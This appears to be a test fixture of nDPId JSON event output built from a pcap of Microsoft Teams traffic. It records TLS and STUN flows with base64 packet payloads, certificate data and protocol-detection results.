+00664{"flow_id":69,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2518,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041693,"pkt_ts_usec":628756,"pkt_caplen":241,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":241,"pkt_l4_len":207,"pkt":"EBMx8Tl2KDc3AG3ICABFAADjAABAAEAGSXnAqAEGNHL6e8NlAbtcWVYp3qhb8VAYIADHIgAAFgMBALYBAACyAwNemFWdJel+38T72uo9XNMIcFrJVaaQNKpU+a+Uq8VSQwAALAD\/wCzAK8AkwCPACsAJwAjAMMAvwCjAJ8AUwBPAEgCdAJwAPQA8ADUALwAKAQAAXQAAACAAHgAAG2V1YXoudHIudGVhbXMubWljcm9zb2Z0LmNvbQAKAAgABgAXABgAGQALAAIBAAANABIAEAQBAgEFAQYBBAMCAwUDBgMABQAFAQAAAAAAEgAAABcAAA=="} +00775{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":2518,"source":"teams.pcap","alias":"nDPId-test","flow_id":69,"flow_packet_id":4,"flow_first_seen":1587041693582,"flow_last_seen":1587041693628,"flow_tot_l4_data_len":303,"flow_min_l4_data_len":20,"flow_max_l4_data_len":207,"flow_avg_l4_data_len":75,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"52.114.250.123","src_port":50021,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"15":"TLS (probably) not carrying HTTPS"},"proto":"TLS.Teams","breed":"Safe","category":"Collaborative"},"tls": {"version":"TLSv1.2","client_requested_server_name":"euaz.tr.teams.microsoft.com","ja3":"e4d448cdfe06dc1243c1eb026c74ac9a","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL"}} +00602{"flow_id":65,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2519,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041693,"pkt_ts_usec":640777,"pkt_caplen":195,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":195,"pkt_l4_len":161,"pkt":"KDc3AG3IEBMx8Tl2CABFAAC1fJUAAGwR4QY0cvp7wKgBBg2Ww2AAoaFUAQMAhSESpEIiL+\/H85JL0bmXJ+QADwAEcsZLxgANAAQAAAA8AAEACAABDZg0cvqNgAgABAAAAAaAIAAIAAHB1XGnagqAUAAYm3E8YjrBv7v21SN1g6+m0xjhRrQAAAAAgCIACTIuMC4xLjIxMQAQAAQAAC7gAAgAIK\/9w8VcH20Bp+o9r1mX6tB+MRypEJNYTX2DO\/tetQep"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2520,"source":"teams.pcap","alias":"nDPId-test","flow_id":72,"flow_packet_id":1,"flow_first_seen":1587041693654,"flow_last_seen":0,"flow_tot_l4_data_len":222,"flow_min_l4_data_len":222,"flow_max_l4_data_len":222,"flow_avg_l4_data_len":222,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"52.114.250.137","src_port":50036,"dst_port":3478,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00687{"flow_id":72,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2520,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041693,"pkt_ts_usec":654732,"pkt_caplen":256,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":256,"pkt_l4_len":222,"pkt":"EBMx8Tl2KDc3AG3ICABFAADySXIAAEARP9\/AqAEGNHL6icN0DZYA3q9FAAMAwiESpELOvwn047sA+HEU4bYADwAEcsZLxoA3AAQAAAACgAgABAAAAAaABgAEAAAAAQAQAAQAAC7ggFUABAACAAKAlQAIW+VbBgwtifoAFAAUPK7\/QeTw1Z9oICgNLxST+LDzEgAAFQAKInJ0Y21lZGlhIgAGADgCAAAkkKDb2wHWGU3iFTe\/yZKgAzJzGvG+3Faa6DvVqwAAAAC\/cbJ2yXgTqN3v61y8eTonekzmPAAIACCU7UyKuDgKSJKUvk8SSs9ovhsGMp06Kok2oE1dFOuKzQ=="} +00508{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":2520,"source":"teams.pcap","alias":"nDPId-test","flow_id":72,"flow_packet_id":1,"flow_first_seen":1587041693654,"flow_last_seen":0,"flow_tot_l4_data_len":222,"flow_min_l4_data_len":222,"flow_max_l4_data_len":222,"flow_avg_l4_data_len":222,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"52.114.250.137","src_port":50036,"dst_port":3478,"l4_proto":"udp","ndpi": {"proto":"STUN.Teams","breed":"Safe","category":"VoIP"}} +00649{"flow_id":71,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2521,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041693,"pkt_ts_usec":658468,"pkt_caplen":229,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":229,"pkt_l4_len":195,"pkt":"KDc3AG3IEBMx8Tl2CABFAADXfJYAAGwR4NE0cvqNwKgBBg2Ww2EAw+F\/ARMApyESpELalY8VcoE3uJ+0vVMADwAEcsZLxoAIAAQAAAAGAAkAPQAABAFUaGUgcmVxdWVzdCBkaWQgbm90IGNvbnRhaW4gYSBNZXNzYWdlLUludGVncml0eSBhdHRyaWJ1dGUADgAIAAENljRy+o0AFAAUPpo\/SSn4PJAIkOO6zaqfvtmAt1IAFQAKInJ0Y21lZGlhIgABAAgAAQ2YNHL6jYCVAAiQUL8kDsWN+oAgAAgAAcwTcadqCg=="} +00475{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2525,"source":"teams.pcap","alias":"nDPId-test","flow_id":73,"flow_packet_id":1,"flow_first_seen":1587041693668,"flow_last_seen":0,"flow_tot_l4_data_len":76,"flow_min_l4_data_len":76,"flow_max_l4_data_len":76,"flow_avg_l4_data_len":76,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"52.114.250.137","src_port":50037,"dst_port":3478,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00486{"flow_id":73,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2525,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041693,"pkt_ts_usec":668523,"pkt_caplen":110,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":110,"pkt_l4_len":76,"pkt":"EBMx8Tl2KDc3AG3ICABFAABgYKIAAEARKUHAqAEGNHL6icN1DZYATE9EAAMAMCESpEJNv3gTxWrFDZ5wS8sADwAEcsZLxoA3AAQAAAACgAgABAAAAAaABgAEAAAAAQAQAAQAAC7ggFUABAACAAI="} +00504{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":2525,"source":"teams.pcap","alias":"nDPId-test","flow_id":73,"flow_packet_id":1,"flow_first_seen":1587041693668,"flow_last_seen":0,"flow_tot_l4_data_len":76,"flow_min_l4_data_len":76,"flow_max_l4_data_len":76,"flow_avg_l4_data_len":76,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"52.114.250.137","src_port":50037,"dst_port":3478,"l4_proto":"udp","ndpi": {"proto":"STUN.Teams","breed":"Safe","category":"VoIP"}} +02370{"flow_id":69,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2526,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041693,"pkt_ts_usec":675117,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"KDc3AG3IEBMx8Tl2CABFAAXUNyJAAGwG4WU0cvp7wKgBBgG7w2XeqGPBXFlW5FAQCASBlQAAW6sdwoMA3bRkqxv5VpjyajDfFXWqL4G9QZfl841dfR9SjQLMnRDtMHjHLLEHhJCKLU2ikazGCdNZMqtfaxeWquCIWw56s0bCKwmin9Y3DIsAdEejps5dwVGPEJfdlpEbIxcuBzCIRY0C23wA8SsmAke7nyJfwnrDoCjE4H7m3XXod08er9hfv0q4nITSnedP3o61Oc42o6ZTtprTcb83jeNHnfqPTx\/r7JoPcNdqLrU2S9F5B\/3\/72kY0IJW8GVz3JfVywG\/oGQZf4DtR+N9iCPyVunnsxwatk5VQeVSeoKWofbhmm5\/59\/eJyGGKNh6xcOod+zQ\/yRc87f6tHNG2YoyFngY2b4iSL5cKDGkUG4HW8AD3tnSSMB+eS+kUxAHQWzl9sk8GGj5SN\/h6yZsZx0M8Cajppy8O10hsA4MnuDtB3uK64JLD12Do4vw3+8vrlcfGCUgqrNGgRVPtSVulxGnCvWOq0JhUVItmI195Is0h3MiJgXc2KNuZpMfbIcuyiiUJx2zdkFT81nL1PidcMdiaFVUoMih7rr4UtgVbmkgKemK\/Z7z3no4iLWFOB0NszihbN+mXEPfve7ERdipQf9N4gAFuDCCBbQwggScoAMCAQICEAiIzVJfGSRETRSlgpHeuVIwDQYJKoZIhvcNAQELBQAwWjELMAkGA1UEBhMCSUUxEjAQBgNVBAoTCUJhbHRpbW9yZTETMBEGA1UECxMKQ3liZXJUcnVzdDEiMCAGA1UEAxMZQmFsdGltb3JlIEN5YmVyVHJ1c3QgUm9vdDAeFw0xNjA1MjAxMjUzMDNaFw0yNDA1MjAxMjUzMDNaMIGLMQswCQYDVQQGEwJVUzETMBEGA1UECBMKV2FzaGluZ3RvbjEQMA4GA1UEBxMHUmVkbW9uZDEeMBwGA1UEChMVTWljcm9zb2Z0IENvcnBvcmF0aW9uMRUwEwYDVQQLEwxNaWNyb3NvZnQgSVQxHjAcBgNVBAMTFU1pY3Jvc29mdCBJVCBUTFMgQ0EgNTCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBAJrfgVw7j67peZa5mnmngfI52lUoRiMCxYJmB7YV3v2cOhqbkQnSZo8LiRf4cYchfzjTP5olALc10Kv4CHo281Bb3yspJ96k3SSS+vTGcI02KprwgN41+h5CnQmBqtUHChalxVpCbUK+HkKCtFcwmVtFK9SP0woGxnOTpOGD78W\/BSeneM2zC+CeIhbzmNymFOjMlNcj+dBQmbu1CxCV8d8C6Y+OnVaZPNiP01j7XJJ+PXv4UEla9xB7d\/jmSpBKVVLelK10CaBkVyzNB5CfFq2Vw9EGuvHvbAW1BKyp3Bsxmw4tGZUET95my601cq8ZggiyFDoWX7A8m9uNDLAC1iYf6BVxxO\/5YzlDjOnCki6hwqAwJQ6WJ1+eoyuC1hC9PBkepof+VSE6XEH8AZjML5L\/Zji0uGacDxJoS0qshrtemP+eppxTbDMRpNCuUkfXi4\/xlqy5KZqPLPGtZBjDJrsAZN5QcMC77MZrrtOg78DxXA3yzHpZ2hgzL1kQrWcULF8iQ0pE4ejd4OdVFk4J7wNMDEhQWvAD347vY8pbZ4dDQCwGth8PPlPAZj\/XFBXmCGKYSH6D5ae1XVEtVC1h\/TRd1LeAzdJ9zrEkO\/OXbGwT3ooXyYr1SJVC9xKQ4xAX9qEAxTYqZZGeBexCLlq4mRv\/1E61+mZV2YOOvwgpjfoLAgMBAAGjggFCMIIBPjAdBgNVHQ4EFgQUCP4ln3TqhwTCvLuOqDhfM8bRbGUwHwYDVR0jBBgwFoAU5Z1ZMIJHWMys+ghUNoZ7OrUETfAwEgYDVR0TAQH\/BAgwBgEB\/wIBADAOBgNVHQ8BAf8EBAMCAYYwJwYDVR0lBCAwHgYIKwYBBQUHAwEGCCsGAQUF"} +01151{"flow_id":69,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2527,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041693,"pkt_ts_usec":675141,"pkt_caplen":602,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":602,"pkt_l4_len":568,"pkt":"KDc3AG3IEBMx8Tl2CABFAAJMNyNAAGwG5Ow0cvp7wKgBBgG7w2XeqGltXFlW5FAYCASXtQAABwMCBggrBgEFBQcDCTA0BggrBgEFBQcBAQQoMCYwJAYIKwYBBQUHMAGGGGh0dHA6Ly9vY3NwLmRpZ2ljZXJ0LmNvbTA6BgNVHR8EMzAxMC+gLaArhilodHRwOi8vY3JsMy5kaWdpY2VydC5jb20vT21uaXJvb3QyMDI1LmNybDA9BgNVHSAENjA0MDIGBFUdIAAwKjAoBggrBgEFBQcCARYcaHR0cHM6Ly93d3cuZGlnaWNlcnQuY29tL0NQUzANBgkqhkiG9w0BAQsFAAOCAQEAPvLPMKV6vx5q3zlYGCg8w53u54HFS\/xn9r8fTjfa3vCv7or5A3tgZ3THO9r\/K0rr\/VR1E4vlwoESulISILopijrNQyTM1RcF\/pwWP3PgbUHAdj3yq0jFWWJkukRPChiCP0HqPxg6WOegMFd19dFqMRS2lJll2rboAd7kq\/u18+UZChhfpAJX3rZcJm9z\/i4J9QhDxA\/HJH+dKGdlodxb8Dr9+HCF56VPJN5CPx1EO12FBoUdHhzU2U5R5P0eERbMngDZlxqX42XHhjUbU3a+MtEsQUlLoz6TDFt3VwcwPDWLjNFpoif6VeirnRAe0RffumyJ08lb1wuUiKnYtJXXjhYABysBAAcnMIIHIwoBAKCCBxwwggcYBgkrBgEFBQcwAQEEggcJMIIHBTCBx6IWBBQodwHOZZ6LuFUo+CvPI9\/FvHYaTBgPMjAyMDA0MTUxOTA="} +00424{"flow_id":69,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2528,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041693,"pkt_ts_usec":675196,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAGSijAqAEGNHL6e8NlAbtcWVbk3qhb8YAQIAArqAAAAQEFCt6oY8HeqGlt"} +00424{"flow_id":69,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2529,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041693,"pkt_ts_usec":675207,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAGSijAqAEGNHL6e8NlAbtcWVbk3qhb8YAQIAAphAAAAQEFCt6oY8HeqGuR"} +02361{"flow_id":69,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2530,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041693,"pkt_ts_usec":675355,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"KDc3AG3IEBMx8Tl2CABFAAXUNyBAAGwG4Wc0cvp7wKgBBgG7w2XeqFvxXFlW5FAQCATP3wAAFgMDF+kCAABVAwNemFWdngMnqp\/ovA6U\/hymYCvRusCyWeTpZ1CTzcejKyDnDAAAU2IVNK2d1lPAfzPvUIBuCgoy2y3VInTQOrOJ6MAwAAANAAUAAAAXAAD\/AQABAAsADuwADukACSswggknMIIHD6ADAgECAhMtAAZemCjIP80XJ2CuAAAABl6YMA0GCSqGSIb3DQEBCwUAMIGLMQswCQYDVQQGEwJVUzETMBEGA1UECBMKV2FzaGluZ3RvbjEQMA4GA1UEBxMHUmVkbW9uZDEeMBwGA1UEChMVTWljcm9zb2Z0IENvcnBvcmF0aW9uMRUwEwYDVQQLEwxNaWNyb3NvZnQgSVQxHjAcBgNVBAMTFU1pY3Jvc29mdCBJVCBUTFMgQ0EgNTAeFw0xOTA1MjQxNDEwMjZaFw0yMTA1MjQxNDEwMjZaMCExHzAdBgNVBAMTFnRyLnRlYW1zLm1pY3Jvc29mdC5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCLTNHPfgLoOgUfyR4c2CDg+CoBg7bwaQp6OOdTLjN80e6165bdZW8ryNWADQBv\/\/6Ld1H5eQQNetSDwVifHVU+CteBiHg6T9F1rA96B1Fk1nARcGhMPsZbgvGxJ+NR6ygkRK7GWC6KFZyOiZ0MvWyxQTJBlsBwklHTiX9D0fiSz06Q+tVkIHpWWHGkJRO+Tm3UUtCMr7e1K4eQloaVRg1AeMGEhZEaGXyKum9VwAP15maK0zwKMiUymx8uWFHW4J0+7wZd9kZyUeJvDO2QDZvxPl5w9NBzvGZUQFIkRD+XvUanlt9AtvhnDy5BiPzueeQgaJbyvyJl4Af8nIo8gppfAgMBAAGjggTrMIIE5zCCAfUGCisGAQQB1nkCBAIEggHlBIIB4QHfAHYA9lyUL9F3MCIUVBgIMJRWjuNNExkzv98MLyALzE7xZOMAAAFq6jb0ngAABAMARzBFAiEA+SbPYnNZBq5NAa+KJuZcLJF6Cs7c51vg2wno92Y73cQCIFui0LePG9Yu0H+TqmpdeWJeVlJ0KiyWWMKI6D92L\/K3AHUAVYHUwhaQNgFK6gubVzxT8MDkOHhwJQgXL6OqHQcT0wwAAAFq6jb1LQAABAMARjBEAiAZDnc3oPi8LaNBy6Df89WOlPch018jWvYNKaDO2U51nQIgYZuZffTHCtDDZ3lWVJgiVsjUCTGqki0p6MIBuSQoIfUAdwBc3EOS\/uarRUSxXprUVuYQN\/vV+kfcoXOUsl7m9scOygAAAWrqNvNaAAAEAwBIMEYCIQChq4nHPM4twtbxyAgrDLE3a797eV+6L2EiO6pBrFmrUAIhANBHWXnY9HAcs6WqVRp9r8q8wlaSY9pBfB7vJlbCShQPAHUARJRlLrDuzq\/EQAfYqP4owNrmgr7YyzG1P9MzlrW2gagAAAFq6jb0QQAABAMARjBEAiAzKKpy8ELEm5AO\/Cl8weRDML0CJ7IOPZ2GbRbx\/8vxWgIgDCW1c1pNKCE9DA2mbQwKGa4Z2H7dNtIRrzU4ZJcZOr8wJwYJKwYBBAGCNxUKBBowGDAKBggrBgEFBQcDAjAKBggrBgEFBQcDATA+BgkrBgEEAYI3FQcEMTAvBicrBgEEAYI3FQiH2oZ1g+7ZAYLJhRuBtZ5hhfTrYIFdhNLfQoLnk3oCAWQCAR0wgYUGCCsGAQUFBwEBBHkwdzBRBggrBgEFBQcwAoZFaHR0cDovL3d3dy5taWNyb3NvZnQuY29tL3BraS9tc2NvcnAvTWljcm9zb2Z0JTIwSVQlMjBUTFMlMjBDQSUyMDUuY3J0MCIGCCsGAQUFBzABhhZodHRwOi8vb2NzcC5tc29jc3AuY29tMB0GA1UdDgQWBBSC313bBDWiwUMAeq0EgFmCSqbJVzALBgNVHQ8EBAMC"} +00425{"flow_id":69,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2531,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041693,"pkt_ts_usec":675393,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAGSijAqAEGNHL6e8NlAbtcWVbk3qhhnYAQH9IkBgAAAQEFCt6oY8HeqGuR"} +01145{"flow_id":69,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2532,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041693,"pkt_ts_usec":675485,"pkt_caplen":602,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":602,"pkt_l4_len":568,"pkt":"KDc3AG3IEBMx8Tl2CABFAAJMNyFAAGwG5O40cvp7wKgBBgG7w2XeqGGdXFlW5FAYCAST2wAABLAwgZAGA1UdEQSBiDCBhYIWdHIudGVhbXMubWljcm9zb2Z0LmNvbYIYKi50ci50ZWFtcy5taWNyb3NvZnQuY29tghh0dXJuLnRlYW1zLm1pY3Jvc29mdC5jb22CGioudHVybi50ZWFtcy5taWNyb3NvZnQuY29tghsqLnJlbGF5LnRlYW1zLm1pY3Jvc29mdC5jb20wgawGA1UdHwSBpDCBoTCBnqCBm6CBmIZLaHR0cDovL21zY3JsLm1pY3Jvc29mdC5jb20vcGtpL21zY29ycC9jcmwvTWljcm9zb2Z0JTIwSVQlMjBUTFMlMjBDQSUyMDUuY3JshklodHRwOi8vY3JsLm1pY3Jvc29mdC5jb20vcGtpL21zY29ycC9jcmwvTWljcm9zb2Z0JTIwSVQlMjBUTFMlMjBDQSUyMDUuY3JsME0GA1UdIARGMEQwQgYJKwYBBAGCNyoBMDUwMwYIKwYBBQUHAgEWJ2h0dHA6Ly93d3cubWljcm9zb2Z0LmNvbS9wa2kvbXNjb3JwL2NwczAfBgNVHSMEGDAWgBQI\/iWfdOqHBMK8u46oOF8zxtFsZTAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwDQYJKoZIhvcNAQELBQADggIBABCcisiO+DAS4OPnUkT5drdGW+ySCAd1BsW3Lp1Fdet9nBRcfBcsaKZ66uJsRxluxJrhagjZ4fh8tXKFj90="} +00409{"flow_id":69,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2533,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041693,"pkt_ts_usec":675526,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"EBMx8Tl2KDc3AG3ICABFAAAoAABAAEAGSjTAqAEGNHL6e8NlAbtcWVbk3qhrkVAQH7Dc7wAA"} +02369{"flow_id":69,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2534,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041693,"pkt_ts_usec":675605,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"KDc3AG3IEBMx8Tl2CABFAAXUNyRAAGwG4WM0cvp7wKgBBgG7w2XeqGuRXFlW5FAQCAT\/HAAANjIwWjCBmzCBmDBMMAkGBSsOAwIaBQAEFCmF\/GE9vi+wEg9eQg5MnsPVnv18BBQI\/iWfdOqHBMK8u46oOF8zxtFsZQITLQAGXpgoyD\/NFydgrgAAAAZemIAAGA8yMDIwMDQxNTE5MDYyMFqgERgPMjAyMDA0MTkxOTA2MjBaoSIwIDAeBgkrBgEFBQcwAQYEERgPMjAxOTA0MTYxOTA2MjBaMA0GCSqGSIb3DQEBCwUAA4IBAQAaQYaDpwd6DNwyOUeit6mUOBXgoV06pe6ThWCURamS0COPur719YO54pzaWQ\/wQiNdRfJ+6IxdL624Y9ECjW7h0i3GVY5McK\/JE0+t8QKiDyIrzja2mdM3dr87glc0ghsX25i5Wq+uovmAq2y0kIR5ZDxPkSCewMHChNQBpgB6w7ldXqSVgO6mMxOPGIUJeCKP7XKb6HxICQ+KDOclyTMlRvOfgXDsfJ+qgS\/\/Xx69gdsXVVKuxxVgmTXKPjwc6+0PAhk7AM38T+1uvkyY+cnLoNXnWfuXwei6nw4U+wy7NBkdjTNfderi681shWsjrz7QTveMgXHXa8hDzke10XqeoIIFIzCCBR8wggUbMIIDA6ADAgECAhNuABXTTwZmllgRJK\/RAAAAFdNPMA0GCSqGSIb3DQEBCwUAMIGLMQswCQYDVQQGEwJVUzETMBEGA1UECBMKV2FzaGluZ3RvbjEQMA4GA1UEBxMHUmVkbW9uZDEeMBwGA1UEChMVTWljcm9zb2Z0IENvcnBvcmF0aW9uMRUwEwYDVQQLEwxNaWNyb3NvZnQgSVQxHjAcBgNVBAMTFU1pY3Jvc29mdCBJVCBUTFMgQ0EgNTAeFw0yMDA0MDIxNjU4MDlaFw0yMTA0MDIxNjU4MDlaMCsxKTAnBgNVBAMMIE1pY3Jvc29mdF9JVF9UTFNfQ0FfNV9LZXlCaW5kaW5nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAt72xRWYGvzznDDT8NXYL9rp9+Ya3b0Z6P2wS3akQ58NdGCNNqh5bkYWl59MsBDUHv9Ef+w2CazdUk3Nynho4E8vpdECh67pX0G62DZBOiFmluBNKbuC5wy0qFpuDZifuCaL\/JIioH+qZxw1n9T+IlPYbhUIt9LEWbIcz3NKvVAjL22uCbIe4fgQeiRQY6CQMOOiKJvbVG0ji+rtc86+Mxhhl4WT\/oA0rEF\/rkByMk2VOShPm7OYdkPB4JadSsYxElQdJQqZtZ7Dx1QoI7ppuYvpwizs9bk5\/qpPbZOX2ffENmbYPX8IEIoHImvw+d5OCujhcH8ND8y2D3AEt3YOySwIDAQABo4HWMIHTMB0GA1UdDgQWBBQodwHOZZ6LuFUo+CvPI9\/FvHYaTDAOBgNVHQ8BAf8EBAMCB4AwEwYDVR0lBAwwCgYIKwYBBQUHAwkwDwYJKwYBBQUHMAEFBAIFADAfBgNVHSMEGDAWgBQI\/iWfdOqHBMK8u46oOF8zxtFsZTA+BgkrBgEEAYI3FQcEMTAvBicrBgEEAYI3FQiH2oZ1g+7ZAYLJhRuBtZ5hhfTrYIFdgcybR4HI6RYCAWQCAQcwGwYJKwYBBAGCNxUKBA4wDDAKBggrBgEFBQcDCTANBgkqhkiG9w0BAQsFAAOCAgEAZeWmp3UPfRLZIyUkIOP3qzADvvJHesY63Dc2ynSZnVwywgjceFf+k+yQAXU4qttDwcVbl8RAxZ3TRxOK\/tx9uYmaavtEm3swh9h5B7DCvmIXfqsJJlRpK\/OFGfcf49BNBZXJky59f8YfJ49hsiJiWchclECz2p04IejlY2rjzCMngCMT2bpAzYBsJXomAbKsVRl07LYT4CLhdIIHrd+syTeudyjkMfJb34y+qxxeDCvdd+fLKHcrxUao3ZXsd7wz3mk1EWQVaTo+Md3\/ECUv"} +01150{"flow_id":69,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2535,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041693,"pkt_ts_usec":675618,"pkt_caplen":602,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":602,"pkt_l4_len":568,"pkt":"KDc3AG3IEBMx8Tl2CABFAAJMNyVAAGwG5Oo0cvp7wKgBBgG7w2XeqHE9XFlW5FAYCAQYlAAAEO5WjXjIe6ycKomslpwe+EFt6Mjgit5TOxZ3H33HANI4vT53PRNoyKZhkE4S9iFCZzfCTWensJkZpnlLMABE4aqNQAX6ZU\/zapbAGS9LPTaiKv9Ry1gMKarsrTbdnF5winwAmVhwqa89tPKzbfBk4V04yBPdDJ2DjFTLanTQ3ELGqhKqqmcvrsuHghO2d9ak1HP13ExxC0+i4+GrhqIUwyWxdjniUJlyleN+iiIaKEg6jvrVHFWrR3PUtDbo8TEacEyF96c8xXcjPVnUVrhVI++2dvqyNpMZ8ACJADw9JEE8gToopzGHlqjm36adlbvaZA10Gxs+B\/nQx7a7NeW17x1RViO2RGJOk4lHSYkzJLzAXxFd+J6icgx2JzFBiVk7job1q60ezkEMDfaRdnPXFQ8MAAFpAwAYYQRKVIndAMDCZx1\/nmDSDhCU8lGc4sJHvdVvcxuDirJGIeA4bGSz8UhEHvvcqcwxUq+znKjO7IKqyQE3STmAHUPjK8cqoQNeOX4QO5FtyZHFURwt7j3oFxYelHgeZanf6vsEAQEAcfEZoht1m1x\/1hC0vYqrMgCj0aeurM9eBAaoI7iRwsk3KmWpV8IAYRbkHIsmkpb0mQBNY4oOJzIM4Vqz716CaTLJhUnkBgaT7aMtgV6SgIOsR+i7dOsNliOdf+YLYfwO\/wazQXSX16jzm7Meh2vICQEwI\/TPmaZJb0z773rIv466NzkuRn4="} +00581{"flow_id":69,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2536,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041693,"pkt_ts_usec":675620,"pkt_caplen":180,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":180,"pkt_l4_len":146,"pkt":"KDc3AG3IEBMx8Tl2CABFAACmNyZAAGwG5o80cvp7wKgBBgG7w2XeqHNhXFlW5FAYCASYbwAA8CGs2DtbRdAb1Xgy4OWoDAo6QUCqXVyfkiCcZ\/OkC5tzYgLT0jnpyawrwv87OERD9XAYG4w2FJIYZM5cidKX5Zc2bXaKJCId5C2Lvu4bMrE+0KvOonXz6arB41w4Zm7zEG6JkuSYRKWmWBUuLW7VxJdKNsq0NJWfIMgOAAAA"} 